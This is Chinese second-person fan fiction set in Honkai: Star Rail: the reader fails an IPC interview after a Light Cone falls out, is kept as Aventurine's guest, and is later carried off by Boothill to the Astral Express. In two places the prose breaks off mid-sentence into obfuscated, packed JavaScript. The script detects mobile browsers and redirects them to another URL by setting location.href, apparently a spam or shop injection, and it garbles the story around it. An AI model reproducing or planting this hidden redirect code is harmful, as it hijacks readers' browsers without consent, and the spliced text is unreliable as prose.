《开拓?那是什么?》 1. 砂金说停止气我 好消息:你进了星际和平公司的面试。 坏消息:除了真理、砂金和托帕,你对公司一无所知。 这自然不能怪你——你,玩家,正常入睡。一觉醒来,人在星铁,参加公司的面试。 也没人提前通知你啊?你面无表情,合上手中的资料。现在和人解释已经来不及了,虽然这份资料你完全看不懂,但资料上的人你熟啊?砂金、托帕、真理医生,哪一个不是你的好伙伴? 唯一的问题是,不知道他们还认不认识你。 “请问您为什么选择了公司?”穿着正装的青年彬彬有礼。 “入职公司是我的梦想。因为我最崇拜的人,正是贵公司的砂金先生。”你慷慨激昂。 “业务推进并非一帆风顺,身为公司的一员,时常要经历许多常人难以想象的困难局面。面对这种高压的情况,你会选择怎么做呢?”中年人一脸严肃。 你对公司的全部理解完全来自托帕和砂金。贝洛伯格之旅已经结束太久,托帕的案例已经在你脑海中彻底模糊,勉强留下了账账哼哼唧唧的声音。此刻你脑子里能作为参考的,全都是那位金光闪闪的青年。 你灵光一闪,“强牌慢打,故作姿态。” 华丽、张扬、浮夸,你将砂金当时的声调学了个十成十。 这算是什么回答?但这腔调莫名有点耳熟,两位主考官面面相觑。他们身后,负责计时和录像的人疯狂敲起了屏幕。 不多时,你的面试录像连同面试的直播一起,被发送给了砂金。 砂金点开视频。你的声音铿锵有力,开始在他的办公室里回荡,“入职公司是我的梦想。因为我最崇拜的人,正是贵公司的砂金先生!” “什么动静?”真理医生抬起头来,他微微蹙起眉头,“你转行出道了?” “怎么可能。”砂金摆摆手,继续听下去,他的表情变得越发微妙——你说崇拜他,这可能不是假话:你在许多环节的回答,怎么听怎么有他的影子。 当然,他指的不是回答的水准。你的回答显然不是来公司面试的人该有的水平,笔试的难度并不小,进了面试却这般作答,倒有些像是儿戏了。 浮夸。真理医生顶着你中气十足的声音向前,在看清屏幕的那一刻,他脸上的淡然完全收了。 “你最好知道你个人的糟糕言行,对在校的学生造成了什么不良的影响。”拉帝奥肃了神情,“砂金先生。” 这位教授此刻完全切换到了教师模式,不自觉地展现出保护的姿态,“她还是个学生——我的学生。” “别这样,教授,我是无辜的。”砂金专注地注视着屏幕,他唇边挂着和往常一样的微笑,“博弈,押注?这只是模仿,她根本不明白真正的意思。” 在砂金看来,你的模仿笨拙又可爱,像在努力假装老虎的小猫。拉帝奥却不这么认为:砂金的经历显然是不可复制的,他心思缜密,又经惯了风浪,但你显然不是这块材料——但凡有些段位的对手,你怕是要倒欠人家一个心眼。在其他条件不具备的情况下,偏偏让你学会了博弈的风格,你就能在事情开局的时候,顶着天真的表情,不知道闯出什么大祸来。 “……我会劝她换一个人生偶像。”真理医生说,“但如果我的劝导没有起到作用,还请你配合我——教点好的,新晋偶像。” 考官摇头,按照流程,接下来是最后一个问题。公司有自己的标准,于情于理都不该让你通过。 “啪”地一声,有什么凭空掉落下来,掉在你面前的桌子上。你瞥了一眼那东西,然后大惊失色。 “请不要乱动,事关诚信,按照公司的规则和流程,我们有权利公示您所携带的东西,并记录相关情况。”有人快步上前,拿走了那个小方片。 “……最好还是不要投屏外放吧?”你小声挣扎,这微弱的阻止显然没有什么用。 小小的光锥被投屏公示,你本次面试的全部灵感来源正在大屏幕上循环播放:金发的男人笑容自信,他伸手挥出一把骰子…… 一句“我来博弈”,考官睁大眼睛,直到正版的“强牌慢打,故作姿态”真正出现的时候,他们才完全明白你原先模仿对象到底是谁。 这段影像和你完整的记忆并不相同,它只截取了你印象最深刻的几句砂金的发言,甚至放大了砂金的身影,怎么看怎么像砂金的个人cut——还是高清放大的版本。 什么光锥?为什么是光锥?也没人跟你打过招呼,你在脑子里回想砂金经典语录,天上会往下掉光锥啊? 你面如土色,一时分不清这段影像被当众外放对你的伤害更大,还是对砂金本人的伤害更大。 ——不要啊,你和砂金的友谊还没开始就要结束了吗? 滴,谁的通讯提示音有些急迫地响起,来电话的人声音平稳,语速却比往常快了几分。 “等等,把人给我留下。”砂金说。 咖啡的香气,柔软的沙发,还有往你的咖啡旁边放果汁的真理医生。 姑且确认一下,你来的是砂金的办公室没错吧? “那个,”真正看到了熟人,在亲切的同时你反倒有些拘谨了起来,真理两个字在嘴边徘徊很久,最后你也没确定该如何呼唤他,只是朝他笑了,“谢谢您。” 拉帝奥点头,他颇为温和地注视着你。他释放压迫感时分明像在狩猎的豹子,但敛起锋芒的时候又极为柔软——那只是蓬松可爱的、稍微大只一点的猫罢了。 “……教授?”你试探着开口。 “嗯。”真理轻声应了,他转身去某个放着餐食的角落,为你端来一块小蛋糕。 砂金一进门,就看见你就着果汁在吃小蛋糕。 面试中突然掉下光锥并且被投屏播放,显然也对你造成了不小的影响,但这并没有让你食欲不振——你只是紧张地吃小蛋糕。 有点好笑,但毕竟不是笑的时候,砂金调整了一下表情。 拉帝奥已经离开了他的办公室,现在正是和你说话的好时候。 “你似乎对我有了解,那就跳过自我介绍的部分吧。”砂金笑了笑,“别紧张,我没有责怪你的意思,但我确实对那张光锥很感兴趣。” “好孩子,”砂金的声音越发甜蜜,这是他营业时的惯用语调,“你是从哪里拿到那样东西的?” 你其实很愿意回答砂金的问题,但这事你怎么跟他解释?你难道说你在屏幕外看完了全程,深深记在脑海里,在面试的时候反复播放? “……这个不能说。”你艰难地挤出半句。 “哦?跟我也不能说吗?”砂金饶有趣味,仔细确认着你的表情。“那可真是太遗憾了。” 他的视线落在蛋糕上,柔声开口,“这里的蛋糕可还合你口味?” 你点点头。你原先相当质疑星铁的美食水平——万能合成机你可是用过的,里面看起来能吃的食材可并不多。别的也就算了,能用垃圾合成的食物能是什么好食物啊? 垃圾食品,好。真用垃圾做食品,不好。 但这小蛋糕确实是好吃的。你低头,又颇为眷恋地看了一眼手边的蛋糕,按星铁的平均伙食水平,这么好吃的东西应该没几顿了。 “他们没有告诉你?”砂金的声音里带着点笑,“明天,不,从今天开始,你就要天天来我这里了。” ……不对吧?哪里都不对吧?这都让你面上了,公司图什么? 你怀疑人生的眼神相当直白。 砂金要的就是这个效果——你的确没通过公司的面试。砂金无意干涉公司的流程和规章制度。他留你,用的是私人名义:花销、福利,一应开支,都记在他自己的账上。 想想看吧,如果人人都能凭空往下掉光锥,那忆庭和忆者的存在岂不是毫无意义?而光锥的获取条件也十分苛刻,人一生中能凝成光锥的的记忆,应该也没多少段才对。 他想起那枚光锥上的内容,呼吸的力道不自觉加重了几分:那里面全是他。那摄影特写一般的影像简直称得上狂热,但你的眼神清澈又诚恳,似乎对整件事一无所知。 这是最难办的情况,即使是他也有些无从下手。倘若你知道,他几乎有百分百的自信能谈成交易,获取他想要的信息——他擅长的就是这个,过程曲折些,多费些心思倒也无妨。 事情比他想得还要复杂,不得不配合学校教育的新晋偶像砂金缓缓打出一个问号。 “退一万步来说,”砂金喃喃低语,“你真的不是教授请来治我的吗?” 请你治砂金?那当然不是。 拉帝奥根本没考虑过砂金会把你留下。 久久没等到你返校,拉帝奥干脆亲自来找人。这正是午餐的时间,你开心地端着盘子,正在角落里快乐就餐。 真理医生有些无奈地看了你一眼,随即又转头看向砂金。 “好了,教授,别这么看着我了。你那谴责的目光真是锐利——我看你要不还是戴上你的石膏头套?你能获得清净,我也好避一避锋芒。”砂金摆手。 “别转移话题。我问你,你以什么名义把她留在这里?客人还是助理?”拉帝奥轻轻在桌面上叩了两下,“她投的是公司,你把她留在这里,这甚至不能算就业——这只是在耽误她的学业罢了。” “别这么激动,教授。能通过前面的流程,她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496672|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学业大概率没有什么问题,就当是旅游和休息。你看,至少她在这里吃得很满意。”砂金说。 “光锥的事情是个意外,公司的监控不是摆设,她在这件事上没有诚信问题,这一点很容易就能查清。你将她留在这里,想必另有目的。” 真理医生又看了你一眼,你确实在开心干饭,他恨铁不成钢地叹了一口气。 如果他的学生每一个都能像你这般,想必他们能减少百分之八十的睡眠问题。 ——你根本经不起查。 对你生疑是人之常情,稍微有点常识的人都知道光锥不会随随便便凭空掉下来,何况是砂金这种聪明人。他想要探明你们之间的联系,这是极为正常的事情。唯一的问题是,你也不是什么寻常人: 你是拉帝奥教师生涯中最大的挑战。 你原本不是拉帝奥的学生,你的大部分课业不需要拉帝奥来讲授和评分,但你总出现在他讲座、选修课的前排。乖巧、安静,听课的态度极为端正,时常让拉帝奥在不自觉间将你当作自己真正的学生来看待。 梦境往往是对白日内容的重复。拉帝奥是老师,他在梦里教书育人,这不奇怪。你作为学生,在他梦里,这也正常。但这个梦中的你,和白天却大不相同: 真理医生拥有八个博士学位。 梦里的你出现在他专业课的课堂上,就坐在你平时喜欢的位置上——第一排。 拉帝奥是小班教学,一个班里总共也就那么些人,能留在他课堂上的都是精英中的精英。他很快发现你的异常:亲切又热情地注视着他,但似乎完全没有在学习。 而在面对深奥的学说时,你却展现出异于常人的实力:你表现的像个急于逃生的扑满——甚至你周围的空间,似乎也因为你的意念而产生了轻微的波动。 扑满逃生是要计算公式的,即使是对于一只扑满来说,想要做到这样的事,技术含量也并不低。 拉帝奥的逻辑向来严谨,但梦就是会存在不合逻辑的、非理性的部分。 显然,你就是他梦境中最违背理性的那一部分。 ……你是他的学生。拉帝奥早就接受了这一点:乖巧、懂事的你,是他的学生。让他无奈、头疼的你,同样也是他的学生。 他严厉的教学风格没有将你吓跑,尽管你无比真切地展现出逃离的意愿,但你每次见到他的时候,眼里还是亮晶晶的——你很高兴,就像你同他熟识已久,很亲近一样。 这只是梦,拉帝奥从梦中醒来,世界运行的逻辑还同往日一样。 拉帝奥从来没有想过有一天会见到你。 光锥“啪”地一声落在你的桌上,在看直播的拉帝奥教授,心也终于“咯噔”了一下:他那并不美妙的预感得到了印证,从这种超越世界常识的事情中,拉帝奥已经完全确定了你的身份。 是要为你多操一些心的,拉帝奥想。倘若是别人都无妨,但是你的话,他着实放心不下——对这个世界了解少之又少,又偏偏身上有些特殊之处,这会为你招来许多麻烦。 他恰好在这里,恰好认出了你,自然无法袖手旁观、无动于衷。 即使难了一些,也总要试试看。第一步就是把你从公司里面摘出去——求知的本能使学者好奇你身上的秘密,但作为师长,保护自己的学生,同样是应有之义。 他当然支持你做出自己的选择,但至少不是现在,在你对世界上的危险还一无所知,不明白自己的特别之处、没有学会保护自己的时候。 现在还不行。 你端起餐盘路过,刚好被笼在拉帝奥的影子里。真理医生身形高大,这道影子像某种无声的庇护。 砂金忽然笑了,有那么一瞬间,他几乎要以为拉帝奥教授的命途是存护了。 “很抱歉,教授。”他放软声音,“那孩子说入职公司是她的梦想,我是她最崇拜的人——第一个梦想不能帮她实现,不过将她作为客人来招待,让她在公司有一段愉快的旅程,这一点我还是做得到的。” 砂金拖长语调:“何况,既然已经有了这样的实例,不希望带着自己影像的光锥忽然出现在每一个地方,这也是可以理解的,对吧?” 拉帝奥沉默了一瞬,光锥掉落是不可辩驳的事实,光锥内也确实是极为清晰的砂金影像。尽管砂金看起来不像是会在意这种事的类型,但他确实有在意的权利。 “别担心,只是给她讲讲故事、听她讲讲故事罢了,不会贸然和哪一方合作,对她进行什么研究的,我只是有些好奇。现在的通讯那么方便,你完全可以和她保持联络——你愿意的话也可以向她本人了解更多,她就在这里,你随时都能来看她。” 2. 你被波提欧抢走了? 生气了。你趴在波提欧背上不说话。 波提欧慌了,他拐了两个弯,又往前跑了一段路,“你倒是说句话。” “我有点凉。”你虚弱地叹了一口气,有些没精打采的。 “谢天谢地,你还活着。总之,活着就好。”波提欧长舒一口气,“凉是正常的,毕竟是金属——总比烫好,好在太阳落山了,不然我还真不知道要怎么办才好。” “嗯。”你顺着他的话,看了看几乎快从天边消失的太阳,“你还要跑多久啊?” “这个不好说,得看那帮小可爱追我们追到什么时候。”波提欧侧身,避开了不明抛掷物。那玩意往另一个方向飞了一段路,发出了一声轰响。 公司的人不屈不挠,追在你们身后,你紧了紧环在波提欧身前的胳膊,在波提欧急速的冲刺中和他一起颠簸,同时分出心思来怀疑人生。 ——今天本来是很普通的一天。如果没有什么意外情况的话,这个时候你应该是坐在公司宽大的落地窗边,吃完小蛋糕,美美喝上一杯饮品,然后看看窗外的风景。 拉帝奥教授认为这种不劳而获的生活对你的长期发展和安全健康没有任何好处,你该多学习一些知识,好用来保护自己,但你向来讲究一个活在当下:砂金人很温柔,说话又好听,偶尔得闲还会专门陪你玩,给你讲故事。不过是要你偶尔陪他说说话,你完全做得到,毕竟你也很喜欢和他说话。 一开始的时候砂金会试探——他试探你对这个世界一些事物的了解和评价。但不知道从什么时候开始,他似乎已经没那么在意了。你惯例从脑海中翻出一个故事,然后讲给他听,童话、寓言、历史、小说,随便一个。柔和的光线有些懒洋洋地从窗外照进来,轻轻落在砂金的发丝上,让人分不清金灿灿的到底是哪一个,让你忍不住想要伸手去碰。 也就是这样分神的功夫,往往就会被砂金抓个正着。青年的神色宁静,仿佛在听什么睡前故事,他在你停顿的时候抬眼,你就落在他的眼睛里。 ——砂金今天的睡前故事没了,你的小蛋糕也没了。 你幽幽地叹了一口气,怨念有如实质:还好被你摆在桌边的只有一个小蛋糕,不然如果让你知道有那么多小蛋糕和你一起被带下去,你还不知道有多心疼。 “我晚上还没吃东西呢。”你说。 “你晚上就吃点甜食?”波提欧挑眉,“不吃油盐的话,人会没力气的。” “那倒不是。”这一顿只是零食而非正餐,油盐你会在稍微晚一点的时候和砂金一起吃——也好在你没吃东西,你要是美美饱餐了一顿,波提欧这人力过山车你还真扛不住。 “现在不是时候,我身上应该还有点零食——”波提欧停顿了几秒,“哦,这玩意你不能吃。我们要去的也不是特别繁华的地方,不然可甩不掉这帮傻宝,看来只能带你去荒野求生了。” “……这样的节目好像还挺受欢迎,可惜不能让你直播。”波提欧跟你开玩笑,“毕竟我在被通缉。” “哈哈,你看我像是还能直播的样子吗?”你有气无力。 荒野求生版的吃饭和你们惊险刺激的逃生显然不是一个量级,一定要直播的话,你相信更多观众会喜欢逃生——如果你不是当事人的话,你也会把这一切当成特效:还挺酷的。 但可惜你不是,波提欧闯进公司的时候,你就在现场。 当时你坐在窗边,身侧是一只柔软的大玩具熊。 大概是玩具熊遮住了你的身形,而他的身后又有追兵,波提欧没有第一时间发现窗边的你。他临场反应的能力极强,波提欧避让了一下,撞翻了桌椅,自己随即也跟着下去了。 是的,波提欧给你留了缓冲的余地。 那你多脆弱啊,你和波提欧能是一个量级? 砂金和你隔着点距离,这个时候他想伸手拉你,但已经来不及了。 存护的力量幻化成的筹码追在你身后,但究竟是迟了几秒,只来得及为你提供一点防护和缓冲,不足以拦下你——你还是被波提欧之前冲撞的力道带到了边缘上,晃了两下,然后出现在波提欧的视野里。 波提欧还以为是追兵,听到动静的一刹那,他抬起头,做好了在空中反击的准备,结果他看到了你。 很难描述那个瞬间带给波提欧的震撼:巡海游侠从不欺凌弱小,你并非他此次的行动目标,看起来又十足无辜,毫无自保之力——那个时候他不是专门避开了吗,你怎么也跟着下来了? 你完全无法思考。在波提欧撞翻桌椅的时候,你还勉强有思考的余裕,真正置身险境,你的思绪反而一片空白。在昏昧之中,时间的流速似乎变得缓慢起来。 筹码还在你身后,但它们没能追上你,而在你下方的波提欧却睁大双眼,不知道是借着什么调整了姿势,波提欧飞身上前,把你捞起来,背在他背上,最终险险落地。 你呆呆地俯在波提欧的背上,甚至连伸手去环着他的意识都没有,高大的巡海游侠倾斜着身子,让你的重心落在他身上,两只手半托半扣,确保你在他转弯和疾驰的时候不会突然掉下去,栽在什么地方。 你在发呆,波提欧在逃跑,你们都没有回头。 在你们身后,公司追击波提欧的人员来迟了一步,终于出现在你和波提欧消失的地方。 “不对吧,头儿,那个巡海游侠是不是折回来救……”一位员工低声说。 “救人”二字还未出口,他就被身着重甲的队长狠狠地瞪了一眼。他思索几秒,终于改了口,“我懂了,人质!他一定是回来抓人质了!” 砂金站在安全的地方,眺望着你们远去的背影。周遭一片混乱,也就没有人留意到他的表情——砂金惯来挂在脸上的笑容,此刻全然消失了。 如果再给你一次机会,你一定不会再在窗边吃东西。 不知道过了多久,你茫然地回过神来,伸手环住波提欧。 你是被波提欧背在背上的,你有什么动作,是什么状态,波提欧是最清楚不过的。见你有动静,波提欧先是提了几分戒备,然后做好了被你痛骂的准备——也可能你会尖叫,这都在他的意料范围内。 但你什么都没说,甚至有些配合地环住了他。 “哟,”波提欧哼笑一声,“你还算有点胆色。” 你默了默,没有戳穿波提欧。巡海游侠有什么可怕的?要是哪天你醒来发现自己是作恶多端的大魔头,而巡海游侠正在来找你的路上,那时候再慌也来得及。 然而对现在的你来说,巡海游侠和纯美骑士也没什么区别——和他们比起来你简直又弱小又无辜,是这两拨人都会保护的对象。 毫不意外,波提欧现在显然是在保护你。 你面无表情,一边神游着怀疑人生,一边确实有点气闷——是的,波提欧是救了你一命没错,但你原本也不需要他救啊? 好险好险,差一点波提欧就踩了他们巡海游侠的底线,变成需要他自己出手铲除的对象了。 但另一方面,你其实很难真的生起波提欧的气来:波提欧的规划里肯定不包括伤及无辜,他自己大概都没有想过会把你给带上。 巡猎的复仇应当像风,像锐利的箭矢,一往无前,锐不可当,但波提欧为你折返。 这位巡海游侠大概并不擅长保护,攻击对他来说应当算是防守的一部分,可他背着你、护着你,难免要落了下风,只能快速奔逃。 带你逃跑的波提欧哪还有那副来去如风的酷哥样子。他此时不仅不够帅气,甚至还有点笨拙。 唯独无法忽略的,正是那份心意——巡海游侠以保护弱者为底线,他们如同细密的丝线一般将最需要保护的人牢牢兜住,使他们不会坠向深渊。 也就是这个时候,你才真正意识到巡海游侠最宝贵的信条意味着什么:钢铁一样的人,钢铁一样的意志。但这冰冷又坚硬的钢铁里,同样蕴含着无声的温柔。 “希望你的荒野求生知识足够可靠,不然的话……”你停顿了几秒,“我们的求生,就要变成你求我活着了。” “放心,包在我身上。”波提欧侧耳,仔细听了听动静,“快了,应该只剩下最后一波——要是你能确保不被我甩下去,还能更快一点,打完就可以收工了。” “哈哈,完全做不到呢。”你的语气没有半点起伏。你不知道坐过山车不需要安全带的是什么硬汉,但反正你不能保证把自己牢牢固定在波提欧背上——这违反常识,也违反生物的本能,如果你真的做到了,想必生物学家半夜都要爬起来,给你表演一套太极拳。 “抱紧一点。”波提欧提示你。你执行操作用了三秒,随后你只能闭眼——波提欧提速狂奔,风呼呼地直往你眼皮上吹。 心跳的很快,你的人却有一点麻:被你自己扣住的胳膊,被波提欧扶着固定住的地方,睁不开的眼睛。 你的大脑一时还没打算接受这样的刺激,它似乎一面调节成了节能模式,记录下到现在为止发生的一切,一边觉得荒谬——这是真实发生在你身边的事吗?假的吧?再看看。 波提欧奔跑的速度不知道在什么时候终于慢了下来。 “现在可以睁眼了。”他说,“一下子把你放下来不行,你也站不稳,就这样先缓一缓,我再扶着你走。噢,这样不行,对你来说实在太黑了一些。” 地上是黑漆漆的一片,天上的星星却闪闪发光,你抬眼往天边看,高大的巡海游侠低着头往地上瞅,给你寻找食物。 “给你。”小小的火堆在你们身旁噼啪作响,波提欧把烤好的食物放在一旁,“一个人的时候不要乱挖,看着和它很像的东西不一定能吃,指不定挖上来什么有毒的宝贝,吃了那可就真是——求你活着也没有用。” 你点点头,试探了一番,把那个又像红薯又像萝卜的玩意儿拿在手里,轻轻咬了一口。这应该能算主食,但有点甜丝丝的。常言道,由俭入奢易,由奢入俭难。但今天实在是大起大落,起起落落,事情已经到了这个份上,能吃上饭已经很不错了,何况它还不算难吃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496673|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 波提欧微妙地松了一口气——野地里充饥的食物和公司特制的豪华小蛋糕原本也没有可比性,但有东西吃,总比让你萎靡不振地饿着好。 夜色像被露水打湿的绸缎,湿哒哒、凉丝丝的。但火光是温暖的,焐热了巡海游侠的眼神。 波提欧看了你一眼,他侧过头,不知从哪里摸出来一台设备。 “……先睡一会儿吧。”他捏着一个红色的小鲨鱼,在你眼前晃来晃去。 吃完饭不能马上睡觉,听说对大脑不太好,你是想开口反驳他的,但不知为何眼皮愈发沉重,最后的记忆是你靠进了一个有些凉的怀抱。 巡海游侠沉默了几秒,开始哼一支不知名的歌。 歌哼到尾声,波提欧的屏幕也终于亮起。 “帮我个忙。”波提欧说。 丹恒穿着睡衣。到了该休憩的时候,他躺在床上,一点睡意都没有。 既然睡不着,不如起来更新智库。丹恒按亮屏幕,看了一眼时间,忽然愣住了:有一条求助信息。时候已经不早了,他犹豫了片刻,还是拨了过去。 是波提欧。 巡海游侠的声音与往日大不相同,那声音低沉又无意中透着些柔软,仿佛从前拿武器指着自己的并不是他波提欧,而是另有其人。 丹恒为这明显的差异默了几秒,但他言语间素来有几分淡然,也就将这点诧异遮掩过去了。 “……总之大概就是这样,我被公司那帮小可爱通缉的事你应该也清楚,报酬列车可以提,下次‘助人为乐’的时候,我会打给你们的。” 波提欧停顿了一下,“我见到她的时候,她人在公司。如果公司来接人,也不是非要送她回去,她还挺好养的。公司那个安保水平,只怕保护不了她。” “你对开拓的命途可能有一些误解。”丹恒欲言又止,他提醒波提欧,“你还记得我们是怎么认识的吗?” “咳。”巡海游侠战术假咳,完全没打算提自己当初突然闯入列车,武器直接指着丹恒这回事。 “总之,纯美骑士、星核猎手、巡海游侠,甚至令使,都可能突然出现在列车上……开拓的旅途往往跌宕起伏又充满意外之喜,因此,在安全这一点上,我或许不能向你保证。”丹恒顿了顿,“但如果你只是没有身份和立场将她送回公司,我应该可以帮你这个忙。” “有意思——都不安全?”波提欧手里拎着什么小玩意,它们金属的外壳被他拨弄得叮当作响,“要不是我这边实在混乱,就留在我身边也不是不行——这你先别管,列车帮忙养几天总行了吧?管吃管住就行,报酬也好报销也好,都先给我记着,我来想办法。” “稍等。”丹恒挂断通讯,换了一身衣服。 晚间的列车灯光相对昏暗,帕姆正在有一搭没一搭的打瞌睡,“什么?又要养孩子了吗帕?”列车长几乎是跳起来,飞速冲去了领航员所在的地方。 丹恒并没有等多久,或许是一杯咖啡的时间,毛绒绒的帕姆带着浓郁又苦涩的咖啡香味冲了回来,“去接人吧丹恒乘客,列车同意了帕。” 于是丹恒装好肩甲,他提起那柄长枪,孤身赴约。 夜色深沉,波提欧给的地点又分外偏僻,丹恒极为谨慎,一步一步上前,直到他看见隐蔽的火光。 火苗映在巡海游侠的眼睛里,却无端给他添了几分柔和。他怀里靠着个姑娘。 “帮大忙了,还得是列车,这边根本没有给她睡觉的地方。”波提欧摇摇头,“帮我扶一下,我来把火熄了——我烤的晚饭,要不要尝尝?” “不用了,你把人带好就行。”丹恒等对方确认了没有遗漏的东西,利落地灭了火。 收东西没怎么花费波提欧的时间,他原本也没多少行装,不知道什么东西叮叮当当,被他带在身上,比往日要响些。 “别紧张,是些小零食,虽然不是经典款,但也还不错。”波提欧微微笑了。 丹恒深吸一口气,“9mm,永远的经典?我当然愿意相信巡海游侠的道义,但你先得说清楚,你从公司带出来的,到底是不是人质?” “人质?公司那帮傻宝是这么说的?这是个意外——你看,我带着人还要照顾,有这照顾人的功夫,都够我多接几单悬赏了。你放心好了,她根本就不是人质。”波提欧思索几秒,“要不咱们还是走一下流程?你把人带回去,我回头自己去看她——跟列车没关系,算我硬闯。” 丹恒有些头大,“你的出发点或许没有什么问题,但你先别出发——随随便便硬闯列车的名声传出去,对列车同样没什么好处。我只希望你作为列车的访客,能遵守一下访客应有的流程:你上次硬闯列车,吓到了我们列车长。” “那个毛绒绒的小家伙?下次我尽量。”波提欧点点头,他比划了几番,终于决定把你抱起来,“这样更不容易醒吧?往背上一搁,硌醒了,那就白搭了。” 巡海游侠偏了偏头,给了丹恒一个堪称灿烂的笑容,“谢啦,丹恒兄弟,我们走吧。” 3. 在丹恒卧室大睡特睡 “我说,你那就不叫哄人睡觉。”你站在沙发边上,真诚地俯视着波提欧。 虽然催眠也能算是一门手艺,但你从没想过波提欧会摇晃红色的小鲨鱼弹壳来催眠你——就不能走点正规流程吗? “催不催眠的不说,效果好就行。”波提欧环抱着手臂仰头看你。他带着你狂奔的时候条件太差,你又受了惊吓,整个人看起来无精打采。但列车上水源充足又适合休息,也不过是一夜的功夫,你睡醒这么收拾一番,就又精神起来了。 催眠?丹恒坐在你们对面,有些欲言又止地看着你们。 波提欧亲口说过你不是人质,单从他催眠这一点来看依然可疑:给人催眠,这行事风格比起巡海游侠,反倒更像是星核猎手。 但你似乎确实也不像是人质: 波提欧高大,你嫌仰视太累,非要他坐下来同你说话。波提欧甚至没有象征性地口头上拉扯一番,就在沙发上落座了。 你戴了新的发饰,发饰是波提欧在路上给你买的。粉色,看起来轻盈又带点少女的感觉,这样的装饰让你显得软和又有些乖巧。但身为乖巧少女的你,此刻正把高大的机械牛仔堵在沙发上。 ——这氛围和谐中带着点怪异。战力上,你似乎毫无压制巡海游侠的可能,但单看你们此刻的姿态,如果你和波提欧中有一个是人质,那么人质反倒更像是波提欧了。 这个答案过于离奇,丹恒思考了片刻,无声地打了个寒颤,决定继续保持沉默。 “总之,正常来讲不是这么哄睡的。”你坚持。 波提欧仔细琢磨了一下,终于明白了你的意思,“你还要听我讲睡前故事?” 让波提欧讲睡前故事,这是合理的、应当的——他一声招呼都没打,就跟你玩催眠这一套,你让他给你补个睡前故事怎么了? 你的思路并不难懂,波提欧一时间有些头大。这倒不是什么过分的要求,但对他来说还是难了一点,“我说,我就不适合讲睡前故事。一定要听的话,我倒是能跟你讲讲公司那帮傻宝。” 波提欧讲公司。你沉浸式思考了一下,波提欧的故事里想必会充满了“喵”和“小可爱”,让人一听就仿佛来到了什么猫咖。真美妙啊,你要顺着这个思路开始想象真理、托帕和砂金猫猫了。 “行啊。”你毫不犹豫地答应了。 你答应得过于爽快,波提欧反而瞪大了眼睛,“……来真的?” 众所周知,星穹铁道是一款12+游戏,波提欧的联觉信标又被屏蔽得干净到不能更干净了,你实在不知道“喵”“可爱”“宝贝”你有什么你不能听的。 “你放心。”你有些爽朗地笑笑,“我已经不止十二岁了。” 你显然不止十二岁,这一点波提欧看得出来。一种莫名地心虚涌上他的心头,波提欧衷心劝告,“你还是多学点文化。” “那也成。”猫咖计划泡汤,你皱了皱脸,等待波提欧给你上文化课——你的正牌老师真理医生的教学想必是难了些,由波提欧来带你入门刚刚好。波提欧能学会的知识,你大概还是能学会的……吧? “咳咳,帝弓仅以……”波提欧在你闪闪发光的眼神里被迫开始讲授,巡海游侠眼神多尖,波提欧一抬眼,就抓到打算在此时悄悄离开的丹恒,“兄弟,丹恒兄弟!” 丹恒面不改色。被你们两个齐齐注视着,现在再抬腿离开已经有些迟了,冷面小青龙缓缓吐出一口气,为你们指出一条明路,“列车上有智库。” 你和波提欧在智库面前排排坐。列车不是专门的学堂,自然没有准备课桌,不然你们也能算是同桌——波提欧一手撑着下巴,心思似乎完全不在智库的解说上,让人分不清是在思考还是在神游,你的反应就更为直接:非常好智库,使你获得睡眠。 知识的密度太高了。你和波提欧两侧都是书架,正前方又是正在语音播报的智库。语音的形式对你们更加方便友好,但正因如此,你的困意也快速弥漫开。 说到底这里也算是卧室——虽然不是你的卧室,但是卧室就是用来睡觉的地方,所以说到底在卧室里犯困也很正常吧? “卧室”真正的主人,丹恒,自然没法听到你这番歪理,但他看得出来你把目光垂落在他水池一般的地板上,仿佛那不是普通的地板,而是匹诺康尼的入梦池。 丹恒缓缓打出一个问号。如果这不是与他朝夕相处的智库,单看你的表现,丹恒几乎要提起警戒,认为此处另有蹊跷,有什么大型的、让人坠入梦乡的功能。他有些迟疑地把目光转向还在神游天外的牛仔。 注意到丹恒的目光,波提欧咧着嘴给了他一个有些锋利的笑容。 波提欧没有睡着,睡着的只有你。 丹恒看着巡海游侠的钢铁尖牙沉默几秒:昨天见到你的时候,你就已经睡着了,加上在列车上的休憩,你应该睡够了才对,怎么智库才播了一小会儿,你就又睡着了? “高度紧张之后,人容易疲倦,她要睡就让她睡吧。”波提欧的声音很轻,几乎要淹没在智库的声音里。 巡海游侠理了理自己的披风,不知从何处取下一个红色的小鲨鱼来,小心地往你手心里放。 这是在做什么?丹恒无声用目光询问,他的眉头微微蹙起,似乎并不赞同波提欧——你看起来并不像会用得上这东西的样子,弹壳在你手里,既不好玩,也不安全。 “放心,我知道我在做什么。别那么大惊小怪的,这只是一枚空弹壳。”波提欧转头跟丹恒解释完,又敛着气息凑近你。昏昏欲睡的人没有很强的抓握意识,波提欧既想让你握住那枚红色的小鲨鱼,又不想惊醒你,自然要多费一番功夫。 “还挺有个性,不过是催眠她一回,这就把睡前故事记在账上了……智库讲的不算数,醒来以后发现我不在车上,还不知道又是什么反应,得给她留点东西才行。”他低声喃念,又引着你来抓。 你终于有所动作,但你抓住的却并非那枚红色的小鲨鱼,而是波提欧的手指——弹壳与波提欧的手指同为钢铁,在你的意识中,大概二者的触感也没有太多不同。 